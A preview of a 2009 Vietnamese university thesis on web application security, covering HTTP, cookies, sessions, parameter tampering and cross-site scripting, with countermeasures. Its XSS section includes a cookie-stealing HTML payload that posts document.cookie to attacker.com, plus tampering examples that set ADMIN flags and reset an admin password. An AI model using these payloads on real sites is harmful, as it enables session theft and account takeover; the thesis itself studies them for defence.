1. Trang chủ
  2. » Luận Văn - Báo Cáo

Một số vấn đề về bảo mật ứng dụng web và demo lỗi sql injections

75 1 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Một số vấn đề về bảo mật ứng dụng Web và demo lỗi SQL injections
Tác giả Nguyễn Mạnh Cường
Người hướng dẫn Th.S Lê Văn Minh
Trường học Trường Đại Học Vinh
Chuyên ngành Công Nghệ Thông Tin
Thể loại Đồ án tốt nghiệp
Năm xuất bản 2009
Thành phố Vinh
Định dạng
Số trang 75
Dung lượng 1,3 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt Client-side validation Do ngôn ngữ phía trình duyệt JavaScript, VBScrip… được thực thi trên trình duyệt nên hacker có

Trang 2

Sau hơn 3 tháng nỗ lực thực hiện đồ án tốt nghiệp, ngoài sự cố gắng hết mình của bản thân, tôi đã nhận được sự giúp đỡ chỉ bảo tận tình của thầy cô, bạn bè

Cá nhân tôi xin được bày tỏ lời chân thành cảm ơn đến thầy giáo hướng dẫn: Th.S Lê Văn Minh – bộ môn Mạng và truyền thông , khoa CNTT-Trường ĐH Vinh, người đã trực tiếp tận tình giúp đỡ tôi trong suốt quá trình thực hiện đồ

án Đồng thời cũng cho phép tôi được cảm ơn sự giúp đỡ, tạo điều kiện của khoa CNTT-Trường Đại học Vinh

Mặc dù tôi đã cố gắng hoàn thành đồ án trong khả năng cho phép nhưng không tránh khỏi thiếu sót Tôi rất mong nhận được sự chỉ bảo đóng góp ý kiến tận tình của các thầy cô giáo và các bạn

Người viết đồ án

Nguyễn Mạnh Cường

Trang 3

CHƯƠNG I : GIỚI THIỆU ỨNG DỤNG WEB 6

I Ứng dụng Web (Web Application) 6

II Hoạt động 7

III Các vấn đề về bảo mật Web 9

CHƯƠNG II : GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 11

I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN 11

I.1 Hacker 11

I.2 HTTP Header 11

I.3 Session 13

I.4 Cookie 13

I.5 Proxy 14

II GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG 14

II.1 Kiểm soát truy cập web (Web access control) 14

II.2 Chiếm hữu phiên làm viêc 14

II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation) 15

II.4 Để lộ thông tin 16

II.5 Từ chối dịch vụ (Denial of service DoS) 17

CHƯƠNG III : MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB 18

I THAO TÁC TRÊN THAM SỐ TRUYỀN 18

I.1 Thao tác trên URL 18

I.2 Thao tác trên biến ẩn form 19

I.3 Thao tác trên Cookie 21

I.4 Thao tác trong HTTP header 22

II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING) 24

Trang 4

III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION) 30

IV.1 Khái niệm SQL Injection 30

IV.2 Các cách tấn công 30

IV.3 Cách phòng chống 45

IV TẤN CÔNG TỪ CHỐI DỊCH VỤ (DoS) 49

V.1 Khái niệm 49

V.2 Những khả năng bị tấn công bằng DoS 49

V.3 Các kĩ thuật tấn công 50

V.4 Biện pháp phòng chống 57

CHƯƠNG IV : TỔNG KẾT CÁC QUÁ TRÌNH TẤN CÔNG VÀ CÁC BIỆN PHÁP PHÒNG CHỐNG 59

I CÁC QUÁ TRÌNH TẤN CÔNG 59

I.1 Thu nhập thông tin ở mức hạ tầng của mục tiêu 59

I.2 Khảo sát ứng dụng Web 61

I.3 Tấn công 62

II CÁC BIỆN PHÁP PHÒNG CHỐNG 62

II.1 Với những nhà quản trị mạng 62

II.2 Với những nhà thiết kế ứng dụng Web 64

II.3 Với người sử dụng ứng dụng Web 65

CHƯƠNG V : CHƯƠNG TRÌNH MINH HỌA 66

I Tổng quan 66

II Cài đặt 66

KẾT LUẬN 74

I Các kết quả thu được 74

II Hướng phát triển 74

TÀI LIỆU THAM KHẢO 75

Trang 5

một vai trò rất quan trọng đối với sự thành công trong công việc của các doanh nghiệp, các tổ chức xã hội cũng như của từng cá nhân Bởi lý do quan trọng này nên số lượng các cá nhân và tổ chức truy cập vào trang Web tăng lên một cách đáng kể Trong số này, hàng ngày, hàng tuần có cả hàng trăm cuộc thăm viếng các trang Web với mục đích xấu Số lượng các cuộc tấn công nhằm vào

lỗ hổng trên các ứng dụng Web đã gây nhiều tổn thất cả về mặt kinh tế và xã hội Vì vậy việc nghiên cứu các vấn đề về bảo mật ứng dụng Web là một vấn

đề rất quan trọng trong sự phát triển của Internet hiện nay

Mục đích của đồ án:

Nghiên cứu các phương pháp tấn công ứng dụng web, từ đó đưa ra các giải pháp bảo mật cho ứng dụng

Nội dung đồ án được chia thành 5 chương chính:

Chương I : Giới thiệu ứng dụng Web

Chương II : Giới thiệu sơ lược các kĩ thuật tấn công ứng dụng web

Chương III : Một số kĩ thuật tấn công

Chương IV :Tổng kết các quá trình tấn công và các biện pháp phòng chống Chương V : Chương trình minh họa

Trang 6

CHƯƠNG I GIỚI THIỆU ỨNG DỤNG WEB

I Ứng dụng Web (Web Application)

Web là môi trường có khả năng thực thi chương trình cao, cho phép tạo vô số tùy biến trên nó, triển khai trực tiếp một lượng lớn các ứng dụng tới hàng triệu người dùng trên thế giới Hai thành phần quan trọng nhất của Website hiện là trình duyệt Web và các ứng dụng Web

Web browser ( trình duyệt Web ) là các ứng dụng phần mềm cho phép người dùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trong Website

Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu riêng Hơn nữa chúng có thể chạy các Script trên máy khách, có thể ―thay đổi‖ trình duyệt Internet thành giao diện cho các ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Goole Maps) Quan trọng nhất là các Website hiện đại cho phép đóng gói, xử lý, lưu trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội ) có thể dùng ngay hoặc dùng định kỳ về sau Và điều này được thực hiện qua các ứng dụng Web Đó có thể là các thành phần Webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển Website hiện đại, cung cấp các phương tiện cần thiết để liên lạc với khách hàng tương lai và khách hàng hiện tại

Trang 7

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng Website đăng nhập, truy vấn vào/ra dữ liệu qua mạng trên trình duyệt Web

Dưới góc độ kỹ thuật, các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng Website) Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML, XHTML) Trình duyệt Web chính là chìa khóa, nó dịch và chạy tất cả các Script, lệnh…khi hiển thị trang Web và nội dung được yêu cầu

II Hoạt động

Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba tầng Tầng đầu tiên thông thương là trình duyệt Web hoặc giao diện người dùng Tầng thứ hai là công nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay Active Server Pages (ASP) Còn tầng thứ ba là cơ sở dữ liệu chứa nội dung (như tin tức) và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chi tiết thẻ tín dụng)

Trang 8

Hình 1

Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trình duyệt, gửi qua Internet tới trình chủ Web ứng dụng (Web application Server) Web ứng dụng truy cập máy chủ chứa cơ sở dữ liệu để thực hiện nhiệm vụ được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ liệu Sau

đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt

Hình 2

Trang 9

III Các vấn đề về bảo mật Web

Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, như vấn

đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên Nguyên nhân có thể xuất phát từ các đoạn mã không phù hợp Nhiều điểm yếu nghiêm trọng hay các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách lấy dữ liệu nhạy cảm Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cá nhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên của hầu hết hacker

Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và nhiều người liên quan khác

hacking, đơn giản vì truy cập vào Website phải để ở chế độ public để bất kỳ

ai cũng có thể ghé thăm Website được Tất cả hệ thống cơ sở dữ liệu hiện đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua một số cổng cụ thể (như cổng 80, 433) Nếu muốn, một người nào đó có thể kết nội trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế bảo mật của hệ điều hành Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm

hàng, điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an toàn

Trang 10

 Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ hơn so với các phần mềm cùng loại Do đó các ứng dụng tùy biến thường dễ

Trang 11

CHƯƠNG II

GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB

I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN I.1 Hacker

Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng…Hacker thường là những chuyên gia về máy tính Hacker không tạo ra các kẽ hở cho hệ thống, nhưng hacker lại là những người am hiểu về hệ điều hành, hệ quản trị cơ sở dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng Một số hacker chỉ dừng lại ở việc phát hiện và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình, họ được xem như là WhiteHat (Hacker mũ trắng) Một số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bị xem như là BlackHat( Hacker mũ đen)

I.2 HTTP Header

HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho nhau Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời) Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị Một số tham số có thể được dùng trong cả header yêu cầu và header trả lời, một số khác thì chỉ được dùng riêng trong từng loại Ví dụ:

Get /tintuc/homnay.asp HTTP/1.1 Accept: */*

Trang 12

Accept-Language: en-us Connection: Keep-Alive Host: localhost

Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}

Accept-Encoding: gzip, deflate

POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP (HTTP/1.1)…

 Accept-Language: Cho biết ngôn ngữ dùng trong trang web

 Host: Cho biết địa chỉ máy chủ

 Referer: Cho biết địa chỉ của trang web tham chiếu tới

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 16 Mar 2009 05:46:53 GMT Content-Length: 2291

Content-Type: text/html Set-cookie:

ASPSESSIONIDQQGGGNCC=LKLDFFKCINFLDMFHCBCBMFLJ;

Path=/

Cache-control: private <HTML>

<BODY>

………

Trang 13

o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP được dùng (HTTP/1.1), mã trạng thái (200) và trạng thái (OK)

là phần thân của HTTP response

I.3 Session

HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ Sự thiếu sót này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session) Còn SessionID là một chuỗi để chứng thực phiên làm việc

I.4 Cookie

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và browser của người dùng Cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng họ đi qua trong site

Cookies thường có các thành phần sau : + Tên: do người lập trình web site chọn + Domain: là tên miền từ server mà cookie được tạo và gửi đi + Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem + Ngày hết hạn: là thời điểm mà cookie hết hiệu lực

+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc

Trang 14

mã hoá trong quá trình truyền giữa server và browser

I.5 Proxy

Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp

Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của server đến client Vì vậy proxy server giống cầu nối trung gian giữa server và client

II GIỚI THIỆU SƠ LƢỢC CÁC KỸ THUẬT TẤN CÔNG

Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã được phân loại dựa trên mức độ gây tác hại đối với ứng dụng

II.1 Kiểm soát truy cập web (Web access control)

Thâm nhập hệ thống qua cửa sau (Back door) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một ―cửa sau‖ (back door) để sau này co thể thâm nhập vào hệ thống một cách

dễ dàng

II.2 Chiếm hữu phiên làm viêc

 Ấn định phiên làm việc (Session Fixation)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng

Trang 15

nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ

 Đánh cắp phiên làm việc (Session Hijacking)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form

II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation)

Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho

hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn

 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt (Client-side validation)

Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip…) được thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra

 Tràn bộ đệm (Buffer OverFlow) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định

kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống

 Vượt qua đường dẫn (Path Traversal):

Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tệp tin bất kì trên hệ thống

 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting):

Trang 16

Đây là kĩ thuật chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ Bằng cách thêm vào một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScrip, VBScrip…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này

 Thêm câu lệnh hệ thống (OS Command Injection) Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookie, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ Thành công trong

kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống cùng với quyền của trình chủ

 Chèn câu truy vấn SQL (SQL Injection) Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống

 Ngôn ngữ phía máy chủ (Server side includes)

Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include file), truy xuất cơ sở dữ liệu…khiến cho hacker có cơ hội truy xuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trên website

II.4 Để lộ thông tin

Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như

mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ

Trang 17

thống luôn là mục tiêu của hacker Ngoài ra những lời chú thích trong mã nguồn cũng là nguồn thông tin hữu ích cho hacker

Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng

có tồn tại hay không

Ví dụ:

.HTTP 200: Tập tin tồn tại HTTP 404: Tập tin không tồn tại

II.5 Từ chối dịch vụ (Denial of service DoS)

Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng yêu cầu nữa Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn công DoS

Trang 18

CHƯƠNG III MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB

I THAO TÁC TRÊN THAM SỐ TRUYỀN

Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URL hay biến ẩn của form Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer Overflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công của hacker Có thể nói tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá trình tấn công ứng dụng

I.1 Thao tác trên URL

I.1.1 Khái niệm:

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL

Ví dụ: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mật khẩu

http://www.nganhang.com/example?user=abc&newpass=123 Với: Username là tên người cần thay đổi mật khẩu

Newpass là mật khẩu mới cho username Tuy nhiên, bằng cách thay đổi tham số như sau:

http://www.nganhang.com/example?user=admin&newpass=111111 Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‗111111‘

Trang 19

I.1.2 Một số biện pháp khắc phục

Để chống lại kiểu thay đổi nội dung chuỗi URL, ứng dụng có thể áp dụng biện pháp sau:

chứng thực thành công với một username, ứng dụng sẽ sinh ra một khóa tương ứng Khóa này sẽ lưu trên server cùng với biến username trong đối tượng bảng băm Mỗi khi nguời dùng kết nối đến ứng dụng, khóa và username này sẽ được gửi đi và được so sánh với khóa username trong bảng băm Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ Còn nếu không thì server biết rằng người dùng đã thay đổi URL

khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý

I.2 Thao tác trên biến ẩn form

I.2.1 Khái niệm

Thông tin có thể được chuyển đổi thông qua một biến ẩn form, gọi là Hidden Form Field Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong ―view source‖, vì thế đây là một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ

Ví dụ: Form gốc có nội dung như sau:

<form action=http://www.tancong.com/cuahang.p1 method=”POST”>

<input type=”hiden” name=”giaca” value=”99.99”>

</form>

Trang 20

Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:

POST /cuahang.p1 HTTP/1.1

… Giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường ―giaca‖:

<form action=http://www.tancong.com/cuahang.p1 method=”POST”>

Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn công ―BUFFER OVERFLOW‖,…

I.2.2 Một số biện pháp khắc phục

không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng

mã hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó

và lưu nó vào một hidden field gọi là ―Chuỗi mẫu‖

Trang 21

Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khóa mà ta định trước Sau đó đem so sánh với ―Chuỗi mẫu‖, nếu chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã

bị thay đổi

I.3 Thao tác trên Cookie

I.3.1 Khái niệm

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được dùng để lưu giữ trạng thái giao thức HTTP hơn là biến ẩn form và biến URL

Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session Do đó hacker có thể thay đổi nội dung cookie để phá hoại ứng dụng

Ví dụ: Về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch:

Cookie: lang=en-us; ADMIN=no; y=1; time = 10:30GMT ;

Cookie xác định người dùng này không phải là Admin (ADMIN=0), nhưng nếu hacker thay đổi trường này thì điều gì sẽ xảy ra? Hacker có thể thay đổi lại thành như sau:

Hacker lúc này mang vai trò là một người quản trị của ứng dụng

Trang 22

I.3.2 Một số biện pháp khắc phục

Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu

trị không hợp lệ từ đó biết được cookie đó là giả

khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng

2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã)

I.4 Thao tác trong HTTP header

URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người dùng thông thường có thể xem và thay đổi Tuy nhiên, những thành phần đó đều được chuyển đi thông qua HTTP Header Ví thế, mặc dù HTTP Header không phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều được lưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thay đổi một HTTP Header

I.4.1 Khái niệm

Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header, còn hầu hết các ứng dụng web thì không Tuy nhiên, hacker có thể tự viết một chương trình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng các proxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt Ngoài ra hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trình chủ

Trang 23

HTTP/1.1 200 OK Date: Mon, 17 Dec 2006 20:39:02 GMT Server:

Connection: close Content-Type: text/html

Phần in đậm là nội dung hacker thay đổi

Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi Vì thế một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó được gửi từ trang web của ứng dụng đó Việc làm này dùng để ngăn chặn việc hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào client side validate hay serve side include, sau đó gửi đi Nhưng phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header

để nó giống như được gửi từ trang web hợp lệ

Referer: www.redhat.com/login.asp

I.4.2 Một số biện pháp khắc phục

Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã

Trang 24

hóa Còn với các header gửi từ trình khách thì không nên dùng các tham số như referer,…để thực hiện các biện pháp an toàn

Nhận xét:

Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch

II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING)

II.1 Cross-Site Scripting (XSS)

Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web Bất kì một website nào cho phép người

sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS

1 XSS là gì ?

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML Kĩ thuật tấn công XSS đã nhanh chóng trở

Trang 25

thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn

2 XSS hoạt động nhƣ thế nào ?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server Nó có thể là một request được gửi

Code:

http://www.example.com/search.cgi?query=<script>alert('XS

S was found !')</script>

Với đoạn mã URL chèn vào như trên rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !"

Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script> Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này để

―deface‖ các website nhưng đó vẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server

Trang 26

II.2 Phương pháp tấn công XSS truyền thống

Ứng dụng web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẫu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó

Các bước thực hiện XSS truyền thống:

Hình: Quá trình thực hiện XSS Tóm tắt các bước thực hiện:

 Bước1: Hacker biết được người dùng đang sử dụng một ứng dụng Web

có lỗ hổng XSS

 Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên

chính trang Web (như trên guestbook, banner dễ dàng thêm một liên kết

do chính hacker tạo ra ) Thông thường hacker khiến người dùng chú ý

Trang 27

bằng những câu kích thích sự tò mò của người dùng như ―Kiểm tra tài khoản‖, ―Một phần thưởng hấp dẫn đang chờ bạn‖

 Bước 3: Chuyển nội dung thông tin ( cookie, tên, mật khẩu…) về máy

chủ của hacker

 Bước 4: hacker tạo một chương trình cgi hoặc một trang Web để ghi

nhận những thông tin đã đánh cắp vào một tập tin

 Bước 5: Sau khi nhận thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng

Ví dụ : Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS Chỉ cần với một đoạn mã HTML gửi trong thư chúng ta hoàn toàn bị mất cookie của mình:

CODE <form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

</form>

onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi ta nhận thư, và nếu ta vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là ta đã bị lấy mất cookie Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của ta mà không cần biết mật khẩu của ta

Trang 28

